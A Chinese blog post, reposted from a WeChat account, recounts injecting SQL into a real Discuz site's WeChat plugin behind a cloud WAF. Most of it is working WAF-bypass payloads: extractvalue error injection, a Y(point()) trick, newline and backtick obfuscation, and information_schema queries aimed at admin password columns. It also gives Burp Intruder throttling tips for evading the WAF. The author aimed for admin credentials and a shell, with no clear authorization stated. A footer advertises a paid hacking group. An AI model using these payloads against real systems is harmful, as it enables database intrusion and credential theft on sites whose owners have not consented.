一次失败的SQL注入经历

admin 2023年3月1日11:36:55评论18 views字数 9937阅读33分7秒阅读模式

目录

一次失败的SQL注入经历0x00 前言0x01 WAF识别0x02 篇章: Bypassed  0x2.1 漏洞证明  0x2.2 无限制注入0x03 后续:无疾而终0x04 总结

某天,聚合扫描器推送了一份SQL注入的漏洞报告,经过测试,漏洞点存在某Cloud WAF,没办法直接利用,故需要绕过证明危害,于是笔者花了一点时间对WAF进行了完整的Bypass(最终还是玩了个寂寞)。整个过程,思路虽然比较基础,但总体还是有趣的,在此,分享出来笔者的过程,并呈现自己的思考

一次失败的SQL注入经历

0x00 前言

某天,聚合扫描器推送了一份SQL注入的漏洞报告,经过测试,漏洞点存在某Cloud WAF,没办法直接利用,故需要绕过证明危害,于是笔者花了一点时间对WAF进行了完整的Bypass(最终还是玩了个寂寞)。整个过程,思路虽然比较基础,但总体还是有趣的,在此,分享出来笔者的过程,并呈现自己的思考。

0x01 WAF识别

1)SQL注入点

目标站点Discuz的微信扫描插件存在SQL注入,直接传入单引号可以引发报错

一次失败的SQL注入经历

2)尝试进行报错注入,WAF出现拦截,经过Google搜索

尝试payload: scene_id=1' and extractvalue(0, user())

一次失败的SQL注入经历

根据特征搜索google,发现WhatWaf这个项目有人提交了WAF,属于unkown类型的。

https://github.com/Ekultek/WhatWaf/issues/856

https://github.com/Ekultek/WhatWaf/issues/1568

看来这个WAF不是很常见,平时经常看到一些各种FUZZ 安全狗和云锁的Bypass的文章,但是实战的时候,我发现安全狗直接拦截select from的结构,由于太菜没办法绕过,故对于WAF一直保持自闭,所以遇到这个少众的waf我有点兴奋,心里暗想这波总算遇到好捏的柿子了。

0x02 篇章: Bypassed

正常来说,我们提交漏洞,只需要证明能获取到数据库信息即可,并不需要去获取数据,所以只是为了证明漏洞真实存在的话,难度会低一些,但是如果想尝试获取完整的数据,甚至是通过去查询information_schema库来获取到完整数据库的结构信息,从而获取到指定的敏感数据的话,就需要进行完整Bypass。

这个WAF其实挺聪明的,我尝试构造畸形数据包,比如分块传输和脏数据都没能绕过它,一直以来在我的认知里面,超大的数据对于绕waf来说是挺好用的,因为这是一个性能和安全的不可调和的矛盾。

不过在测试的过程,我发现它处理大数据其实是"比较聪明"的,无论多大的数据他都能处理,由于自己才疏学浅,最后只能从语义上面进行bypass了。

0x2.1 漏洞证明

常规尝试

1.尝试1' and extractvalue(0, user())%23发现被拦截, 删掉and, 即1' extractvalue(0, user())%23发现可以绕过。

2.尝试1'^extractvalue(0, user())%23 成功绕过

一次失败的SQL注入经历

3.尝试1'^extractvalue(0, database())%23 被拦截,说明了什么呢?说明database()被重点关照了。

4.因为一般漏洞审核的标准是获取到数据库名,只能尝试继续在database身上下功夫了。

1'^extractvalue(0, database/*%0a*/())%23
1'
^extractvalue(0, $Fuzz$database$Fuzz$())%23

一次失败的SQL注入经历

Fuzz一圈没有结果,发现1'^extractvalue(0, database 这个完全错误的语句都被拦截,只能将database从中间拆分才可以绕过,才能破坏掉WAF的语义。

一次失败的SQL注入经历

后面也陆陆续续测了不少思路,比如换行呀,尝试其他连接字符,/**/各种注释Fuzz,就不展开说了,下面主要讲讲自己怎么绕过,最终完美地执行extractvalue(0, database())语句。

Fuzz 内置函数

在尝试的过程中我发现一个现象,当我传入1' anxd extractvalue(0, database())%23 或者删掉anxd的时候,waf是放行的,但是如果传入一些常规的操作字符,比如and&,or,>,<字符waf则是拦截的,继续尝试官方文档里面的操作符号:
https://dev.mysql.com/doc/refman/8.0/en/non-typed-operators.html,
最终结果,发现大多数都是不行的,但是Fuzz的过程中,我发现了一个很有趣的,可能导致绕过的点,那就是WAF似乎没办法处理一些不常见的函数,尝试如下:

1' md5(1) extractvalue(0, database())%23 拦截

1' mdx5(1) extractvalue(0, database())%23 不拦截

1' and mdx5(1) and extractvalue(0, database())%23不拦截

1' and md5(1) and extractvalue(0, database())%23 拦截

1' and sleep(1) and extractvalue(0, database())%23 拦截

1' and hex(1) and extractvalue(0, database())%23 拦截

想到的常规函数都是被拦截,但仅仅依靠自己薄弱的知识面是不全面的,所以我直接从官方文档:
https://dev.mysql.com/doc/refman/5.7/en/built-in-function-reference.html
里面提取所有内置函数进行FUZZ,写个脚本提取下即可,大概424个内置函数。

// https://dev.mysql.com/doc/refman/5.7/en/built-in-function-reference.html
selector = document.querySelectorAll('#docs-body > div > div.table > div:nth-child(3) > table > tbody > tr > th > a > code');
alls = "";
_function = "";
for (index = 0; index < selector.length; index++) {
_function = selector[index].textContent;
console.log(_function);
alls += _function + 'n'
}

var aux = document.createElement("textarea");
aux.value = alls;
document.body.appendChild(aux);
aux.select();document.execCommand("copy");
document.body.removeChild(aux);
console.log("复制成功!");

一次失败的SQL注入经历

经过FUZZ,前面比较常规的函数,都被WAF拦截了,另外有一些不常见的函数,都会提示FUNCTION xxxx.JSON_DEPTH does not exist,版本的问题,但功夫不负有心人,发现最终我找到一个函数Y,是可能导致绕过,且不会报错的,这个函数看起来很有感觉,比较短。

Y函数:
https://dev.mysql.com/doc/refman/5.7/en/gis-point-property-functions.html#function_y

虽然官方函数没有给出示例用法,但是给出了ST_Y()的用法,这个ST_Y()在目标环境是不存在报错的,但这两个函数的用法是一致的。

一次失败的SQL注入经历
Usage:

mysql> SELECT ST_Y(Point(56.7, 53.34));
+--------------------------+
| ST_Y(Point(56.7, 53.34)) |
+--------------------------+
| 53.34 |
+--------------------------+

尝试payload: scene_id=1' and Y(point(56.7, 53.34)) and extractvalue(0,database())%23 ,没有waf拦截,但是没有返回报错。

一次失败的SQL注入经历

这又是为什么呢? 这里需要注意一个很经典的问题,很多人并不是很了解extractvalue的报错原理:

本质在于第二个参数的类型应该为xpath表达式,否则会出现错误,并抛出整句执行后的错误信息,故构造非法的xpath表达式即可导致报错,从而将数据回显出来。

一次失败的SQL注入经历
举个例子:

一次失败的SQL注入经历

第一个参数其实是可以任意的值的,只要不为空,第二个参数我们传入一些不符合xpath表达式的值即可。

mysql> select extractvalue(0, '1123@123');
ERROR 1105 (HY000): XPATH syntax error: '@123'

可以看到,XPATH的回显,只会显示语法开始报错往后的部分,这也是经常容易让人迷糊的地方,需要额外注意。那么我们如何利用这个特性来带出我们想要的值呢,这里我们可以考虑用concat拼接非法的表达式,然后后面接我们想要回显的内容。

mysql> select extractvalue(0,concat(0x7e, "123"));
ERROR 1105 (HY000): XPATH syntax error: '~123'

通过上面的讲解,了解完报错注入的原理后,回到WAF上面,可以知道之所以没有报错是因为数据库名没有包含特殊字符,那么我们可以通过构造如下的报错语句:

scene_id=1' and  Y(point(56.7, 53.34)) and extractvalue(0,concat(0x7e,database()))%23

直接被拦截了,但是通过在concat后加上换行即可绕过。

最终绕过的payload如下:

scene_id=1' and  Y(point(56.7, 53.34)) and extractvalue(0,concat%0a(0x7e,database()))%23

可能很多小伙伴就在想,是不是%0a起到的作用啊,根本不需要fuzz出Y函数来进行绕过呀,很简单证明这个。

scene_id=1' %0a and extractvalue(0,concat%0a(0x7e,database()))%23 WAF拦截

scene_id=1' and %0a extractvalue(0,concat%0a(0x7e,database()))%23 WAF拦截

所以这里Y函数和换行符号的组合是绕过WAF必不可少的的,两者需要搭配起来,再者换行符由于正则匹配,单行匹配的的特性,在绕过waf的时候相当好用。

一次失败的SQL注入经历

0x2.2 无限制注入

对于MYSQL来说,特别是8.0以下的版本来说,无限制的注入的定义可以分为两个点:

  • 1.常规的WAF绕过目标: 执行select * from 语句,实现任意表子查询

  • 2.实战利用目标,访问到information_schema数据库,从而完整获取数据库内容

Fuzz 1:

scene_id=1' and Y(point(56.7, 53.34)) and extractvalue(0,concat%0a(0x7e,(select from xx)))%23

通过尝试直接修改插入语句,虽然本来就是语法错误的,但是waf还是直接拦截了,说明应该是select from xxx这个格式触发了WAF

继续Fuzz:

scene_id=1' and Y(point(56.7, 53.34)) and extractvalue(0,concat%0a(0x7e,(select from xx)))%23 拦截

scene_id=1' and Y(point(56.7, 53.34)) and extractvalue(0,concat%0a(0x7e,(select%0afrom xx)))%23 拦截

尝试在select from中间下功夫,可以绕过waf,这里一定要注意要紧挨着,表名user用反引号括起来即可绕过。

1' and  Y(point(56.7, 53.34)) and extractvalue(0,concat%0a(0x7e,(select`user`from%0amysql.user)))%23

一次失败的SQL注入经历

Fuzz 2:

原本我以为绕过第一层Fuzz 1后面会很顺利,但是WAF智能学习得到的特征多的有点出乎意外,竟然对table_name和select认定为了固定的组合,进行了拦截。

# 只要匹配到select table_name 的格式就会拦截
scene_id=1' and Y(point(56.7, 53.34)) and extractvalue(0,concat%0a(0x7e,(select`table_name`from xxx)))%23

# 打乱table_name 就不会拦截
scene_id=1'
and Y(point(56.7, 53.34)) and extractvalue(0,concat%0a(0x7e,(select`tab1le_name`from xxx)))%23

尝试构造语句打破拦截:

# 尝试插入换行符,拦截
scene_id=1' and Y(point(56.7, 53.34)) and extractvalue(0,concat%0a(0x7e,(select%0a`table_name`from xxx)))%23
# 尝试通过注释里面加换行符绕过
scene_id=1'
and Y(point(56.7, 53.34)) and extractvalue(0,concat%0a(0x7e,(select/*%0a*/`table_name`from xxx)))%23

继续拼接完整的查询语句,waf并没有对后续的语句进行拦截

scene_id=1' and  Y(point(56.7, 53.34)) and extractvalue(0,concat%0a(0x7e,(select/*%0a*/`table_name`from information_schema.tables where table_schema=database() limit 0,1)))%23

一次失败的SQL注入经历

0x03 后续:无疾而终

绕过了WAF,那么后续自然是想通过注入进入到后台,GetShell完事,但是waf在阻碍日站的速度方面没得说,除非是打算批量日站,要不然我个人觉得写sqlmap tamper的效率并不高,而且这个WAF很容易触发一些意料之外的拦截,所以我选择直接通过Burp获取后台的管理员表。

测试过程遇到一个很阴间情况,通过information_schema.columns尝试去获取指定表名的列的时候,没办法获取到,这是为什么?

mysql> select concat("%", null);
+-------------------+
| concat("%", null) |
+-------------------+
| NULL |
+-------------------+
1 row in set (0.00 sec)

mysql> select concat_ws(0x7e, null,0x7e);
+----------------------------+
| concat_ws(0x7e, null,0x7e) |
+----------------------------+
| ~ |
+----------------------------+
1 row in set (0.00 sec)

其实这个就是concat的问题,当返回结果为null的时候,无论什么时候拼接都是null,所以可以用concat_ws进行替代,下面说一下我是如何快速手工找到后台管理员的表和列的。

1' and  Y(point(56.7, 53.34)) and extractvalue%20%20%20%20%20(0,concat_ws%20%20%20%20%20%20%20%20(0x7e, (select%20concat("@",0x7e,%0atable_name,'#',column_name)%20from%20/**/%0a(information_schema.columns)%20where%20table_name%20like%20%27%25admin%25%27%20limit%201,1)))%23

一次失败的SQL注入经历

原理就是通过like语句匹配表名和列名进行模糊查询,但这里有个容易踩坑的地方,%需要进行额外的URL编码;至于其他内容,其实是基于前面类似思路进行组合来实现绕过waf,比如在测试过程中,我发现select@from是可以bypass的,那么我就想了个办法将@插入到中间,最终构造出了如上的绕过的语句。

接下来讲下Burp的Intruder技巧,很多新手对爆破的并发问题并不是很care,我个人认为,良好的测试习惯,并发数不能一下子太高,推荐配置如下,每次并发数目在3~5之间,每次间隔在0.3s之间,然后一定的波动,这在一定程度上能起到Bypass WAF的效果。

一次失败的SQL注入经历

看了一圈回显的结果,并没有发现想要的目标表,回到站点的robots.txt发现是discuz x3的,那应该是在member表,修改下语句。

(1105) XPATH syntax error: '~common_member#password'<div class="sql">
(1105) XPATH syntax error: '~common_member#username'<div class="sql">

原本我以为后面就是常规操作了,但是结果却是令我倍感忧伤的。发张图,一起来感受下什么是绝望,数据库竟然给我返回表不存在,common_member表也是,尝试在前面加了前缀,还是不行,这个时候我不禁忧伤地点起了一包烟,这TM太坑人了吧,从逻辑来说都讲不过去呀,果然日站不能靠逻辑,如果你说waf拦截了某个表还好说,但是我现在就是查询当前注入点的表都给我提示不存在,这就很过分了呀。

一次失败的SQL注入经历

猜测:

  • 是不是数据库不对呢? 反手information_schema.schematafuzz下SCHEMA_NAME,发现只存在两个数据库一个dvbxx2,一个ecshop,看来不是这个问题。

  • ecshopmysql库都是没有权限的,没办法深入,故尝试直接Fuzz SQLMAP的3000条数据表名字典,全都提示"表不存在",无疾而终,通过搜索度娘,怀疑是数据库出现了某种错误导致的结果,但是程序的逻辑是没有问题,程序能够正常做判断,除非走的是注入的语句的表查询,则是不行的,我怀疑问题出在是数据库优化环节可能有什么骚操作,折腾了好几个小时,由于目标获取shell的意义并不大,最终只能作罢,如果各位师傅有什么好的想法和见地欢迎给我拍砖。

0x04 总结

本文的重点在于分享绕过WAF的思路,但是绕过WAF最终的目标是提取到目标的登录后台的账号密码,证明危害。正如,某位前辈说过,日站从来不是一帆风顺一把梭哈的,很有可能后面的某个环节直接导致你前功尽弃。同时由于目标的敏感性,测试SQL注入,我都是采取非常保守的措施,一定不能去触碰核心的数据,危害到网站的正常运行逻辑,故有很多操作在实战环境是没办法展开的,故姑且称之为一次失败的SQL注入经历,也希望大家以后遇到WAF的时候不要慌,可以跟它"较量"一下。

https://forum.butian.net/share/2128作者:xq17


【Hacking黑白红】,一线渗透攻防实战交流公众号

一次失败的SQL注入经历

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球



【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。






一次失败的SQL注入经历


欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。


一次失败的SQL注入经历





渗透实战系列



【渗透实战系列】51|- 一次BC站点的GetShell过程

【渗透实战系列】50|- Log4j打点后与管理员斗智斗勇

【渗透实战系列】49|-实战某高校的一次挖矿病毒的应急处置

【渗透实战系列】|48-一次内网渗透

渗透实战系列】|47-记一次对某鱼骗子卖家的溯源

【渗透实战系列】|46-渗透测试:从Web到内网

【渗透实战系列】|45-记一次渗透实战-代码审计到getshell

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

一次失败的SQL注入经历

    

长按-识别-关注

一次失败的SQL注入经历

Hacking黑白红

一个专注信息安全技术的学习平台

一次失败的SQL注入经历

点分享

一次失败的SQL注入经历

点收藏

一次失败的SQL注入经历

点点赞

一次失败的SQL注入经历

点在看

原文始发于微信公众号(Hacking黑白红):一次失败的SQL注入经历

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月1日11:36:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次失败的SQL注入经历https://cn-sec.com/archives/1581015.html

发表评论

匿名网友 填写信息